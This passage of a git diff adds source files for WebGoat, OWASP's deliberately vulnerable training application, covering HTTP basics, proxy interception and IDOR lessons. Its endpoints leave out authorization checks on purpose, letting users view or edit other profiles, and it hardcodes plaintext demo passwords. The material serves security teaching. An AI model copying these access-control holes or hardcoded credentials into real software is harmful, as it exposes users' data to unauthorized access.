HttpBasicsLesson extends AssignmentEndpoint { + + @PostMapping("/HttpBasics/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String person) { + if (!person.isBlank()) { + return success(this) + .feedback("http-basics.reversed") + .feedbackArgs(new StringBuilder(person).reverse().toString()) + .build(); + } else { + return failed(this).feedback("http-basics.empty").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java new file mode 100644 index 000000000..c6c14ad73 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java @@ -0,0 +1,57 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpbasics; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AssignmentPath; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"http-basics.hints.http_basic_quiz.1", "http-basics.hints.http_basic_quiz.2"}) +@AssignmentPath("HttpBasics/attack2") +public class HttpBasicsQuiz extends AssignmentEndpoint { + + @PostMapping("/HttpBasics/attack2") + @ResponseBody + public AttackResult completed( + @RequestParam String answer, + @RequestParam String magic_answer, + @RequestParam String magic_num) { + if ("POST".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) { + return success(this).build(); + } else { + if (!"POST".equalsIgnoreCase(answer)) { + return failed(this).feedback("http-basics.incorrect").build(); + } + if (!magic_answer.equals(magic_num)) { + return failed(this).feedback("http-basics.magic").build(); + } + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java new file mode 100644 index 000000000..b3ad85e95 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.httpproxies; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpMethod; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class HttpBasicsInterceptRequest extends AssignmentEndpoint { + + @RequestMapping( + path = "/HttpProxies/intercept-request", + method = {RequestMethod.POST, RequestMethod.GET}) + @ResponseBody + public AttackResult completed( + @RequestHeader(value = "x-request-intercepted", required = false) Boolean headerValue, + @RequestParam(value = "changeMe", required = false) String paramValue, + HttpServletRequest request) { + if (HttpMethod.POST.matches(request.getMethod())) { + return failed(this).feedback("http-proxies.intercept.failure").build(); + } + if (headerValue != null + && paramValue != null + && headerValue + && "Requests are tampered easily".equalsIgnoreCase(paramValue)) { + return success(this).feedback("http-proxies.intercept.success").build(); + } else { + return failed(this).feedback("http-proxies.intercept.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java new file mode 100644 index 000000000..1d9326426 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.httpproxies; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class HttpProxies extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "2.http-proxies.title"; // second lesson in GENERAL + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java new file mode 100644 index 000000000..0adeeb25f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author misfir3 + * @version $Id: $Id + * @since January 3, 2017 + */ +@Component +public class IDOR extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "idor.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java new file mode 100644 index 000000000..f145ca1f9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java @@ -0,0 +1,58 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.idorDiffAttributes1", + "idor.hints.idorDiffAttributes2", + "idor.hints.idorDiffAttributes3" +}) +public class IDORDiffAttributes extends AssignmentEndpoint { + + @PostMapping("/IDOR/diff-attributes") + @ResponseBody + public AttackResult completed(@RequestParam String attributes) { + attributes = attributes.trim(); + String[] diffAttribs = attributes.split(","); + if (diffAttribs.length < 2) { + return failed(this).feedback("idor.diff.attributes.missing").build(); + } + if (diffAttribs[0].toLowerCase().trim().equals("userid") + && diffAttribs[1].toLowerCase().trim().equals("role") + || diffAttribs[1].toLowerCase().trim().equals("userid") + && diffAttribs[0].toLowerCase().trim().equals("role")) { + return success(this).feedback("idor.diff.success").build(); + } else { + return failed(this).feedback("idor.diff.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java new file mode 100644 index 000000000..404d0aeb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java @@ -0,0 +1,113 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDOREditOtherProfiile extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + + @PutMapping(path = "/IDOR/profile/{userId}", consumes = "application/json") + @ResponseBody + public AttackResult completed( + @PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) { + + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // this is where it starts ... accepting the user submitted ID and assuming it will be the same + // as the logged in userId and not checking for proper authorization + // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let + // everyone, right? + // Except that this is a vulnerable app ... so we will + UserProfile currentUserProfile = new UserProfile(userId); + if (userSubmittedProfile.getUserId() != null + && !userSubmittedProfile.getUserId().equals(authUserId)) { + // let's get this started ... + currentUserProfile.setColor(userSubmittedProfile.getColor()); + currentUserProfile.setRole(userSubmittedProfile.getRole()); + // we will persist in the session object for now in case we want to refer back or use it later + userSessionData.setValue("idor-updated-other-profile", currentUserProfile); + if (currentUserProfile.getRole() <= 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.success1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() > 1 + && currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure1") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + if (currentUserProfile.getRole() <= 1 + && !currentUserProfile.getColor().toLowerCase().equals("red")) { + return success(this) + .feedback("idor.edit.profile.failure2") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } + + // else + return failed(this) + .feedback("idor.edit.profile.failure3") + .output(currentUserProfile.profileToMap().toString()) + .build(); + } else if (userSubmittedProfile.getUserId().equals(authUserId)) { + return failed(this).feedback("idor.edit.profile.failure4").build(); + } + + if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) { + return success(this) + .feedback("idor.edit.profile.success2") + .output(userSessionData.getValue("idor-updated-own-profile").toString()) + .build(); + } else { + return failed(this).feedback("idor.edit.profile.failure3").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java new file mode 100644 index 000000000..1b656c0cf --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java @@ -0,0 +1,76 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"idor.hints.idor_login"}) +public class IDORLogin extends AssignmentEndpoint { + + private Map> idorUserInfo = new HashMap<>(); + + public void initIDORInfo() { + + idorUserInfo.put("tom", new HashMap()); + idorUserInfo.get("tom").put("password", "cat"); + idorUserInfo.get("tom").put("id", "2342384"); + idorUserInfo.get("tom").put("color", "yellow"); + idorUserInfo.get("tom").put("size", "small"); + + idorUserInfo.put("bill", new HashMap()); + idorUserInfo.get("bill").put("password", "buffalo"); + idorUserInfo.get("bill").put("id", "2342388"); + idorUserInfo.get("bill").put("color", "brown"); + idorUserInfo.get("bill").put("size", "large"); + } + + @PostMapping("/IDOR/login") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + initIDORInfo(); + UserSessionData userSessionData = getUserSessionData(); + + if (idorUserInfo.containsKey(username)) { + if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) { + userSessionData.setValue("idor-authenticated-as", username); + userSessionData.setValue( + "idor-authenticated-user-id", idorUserInfo.get(username).get("id")); + return success(this).feedback("idor.login.success").feedbackArgs(username).build(); + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java new file mode 100644 index 000000000..f216cb580 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDORViewOtherProfile extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @GetMapping( + path = "/IDOR/profile/{userId}", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) { + Map details = new HashMap<>(); + + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + if (userId != null && !userId.equals(authUserId)) { + // on the right track + UserProfile requestedProfile = new UserProfile(userId); + // secure code would ensure there was a horizontal access control check prior to dishing up + // the requested profile + if (requestedProfile.getUserId().equals("2342388")) { + return success(this) + .feedback("idor.view.profile.success") + .output(requestedProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.profile.close1").build(); + } + } else { + return failed(this).feedback("idor.view.profile.close2").build(); + } + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java new file mode 100644 index 000000000..ec78df0bd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +public class IDORViewOwnProfile { + + @Autowired UserSessionData userSessionData; + + @GetMapping( + path = {"/IDOR/own", "/IDOR/profile"}, + produces = {"application/json"}) + @ResponseBody + public Map invoke() { + Map details = new HashMap<>(); + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + UserProfile userProfile = new UserProfile(authUserId); + details.put("userId", userProfile.getUserId()); + details.put("name", userProfile.getName()); + details.put("color", userProfile.getColor()); + details.put("size", userProfile.getSize()); + details.put("role", userProfile.getRole()); + } else { + details.put( + "error", + "You do not have privileges to view the profile. Authenticate as tom first please."); + } + } catch (Exception ex) { + log.error("something went wrong", ex.getMessage()); + } + return details; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java new file mode 100644 index 000000000..a2fe4cb9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.ownProfileAltUrl1", + "idor.hints.ownProfileAltUrl2", + "idor.hints.ownProfileAltUrl3" +}) +public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @PostMapping("/IDOR/profile/alt-path") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // don't care about http://localhost:8080 ... just want WebGoat/ + String[] urlParts = url.split("/"); + if (urlParts[0].equals("WebGoat") + && urlParts[1].equals("IDOR") + && urlParts[2].equals("profile") + && urlParts[3].equals(authUserId)) { + UserProfile userProfile = new UserProfile(authUserId); + return success(this) + .feedback("idor.view.own.profile.success") + .output(userProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.own.profile.failure1").build(); + } + + } else { + return failed(this).feedback("idor.view.own.profile.failure2").build(); + } + } catch (Exception ex) { + return failed(this).feedback("an error occurred with your request").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java new file mode 100644 index 000000000..f1490b2a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; + +/** Created by jason on 1/5/17. */ +public class UserProfile { + private String userId; + private String name; + private String color; + private String size; + private boolean isAdmin; + private int role; + + public UserProfile() {} + + public UserProfile(String id) { + setProfileFromId(id); + } + + // + private void setProfileFromId(String id) { + // emulate look up from database + if (id.equals("2342384")) { + this.userId = id; + this.color = "yellow"; + this.name = "Tom Cat"; + this.size = "small"; + this.isAdmin = false; + this.role = 3; + } else if (id.equals("2342388")) { + this.userId = id; + this.color = "brown"; + this.name = "Buffalo Bill"; + this.size = "large"; + this.isAdmin = false; + this.role = 3; + } else { + // not found + } + } + + public Map profileToMap() { + Map profileMap = new HashMap<>(); + profileMap.put("userId", this.userId); + profileMap.put("name", this.name); + profileMap.put("color", this.color); + profileMap.put("size", this.size); + profileMap.put("role", this.role); + return profileMap; + } + + public String toHTMLString() { + String htmlBreak = "
"; + return "userId" + + this.userId + + htmlBreak + + "name" + + this.name + + htmlBreak + + "size" + + this.size + + htmlBreak + + "role" + + this.role + + htmlBreak + + "isAdmin" + + this.isAdmin; + } + + // + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getColor() { + return color; + } + + public void setColor(String color) { + this.color = color; + } + + public String getSize() { + return size; + } + + public void setSize(String size) { + this.size = size; + } + + public boolean isAdmin() { + return isAdmin; + } + + public void setAdmin(boolean admin) { + isAdmin = admin; + } + + public int getRole() { + return role; + } + + public void setRole(int role) { + this.role = role; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java new file mode 100644 index 000000000..d017421e2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.insecurelogin; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureLogin extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "insecure-login.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java new file mode 100644 index 000000000..8d39a594d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU 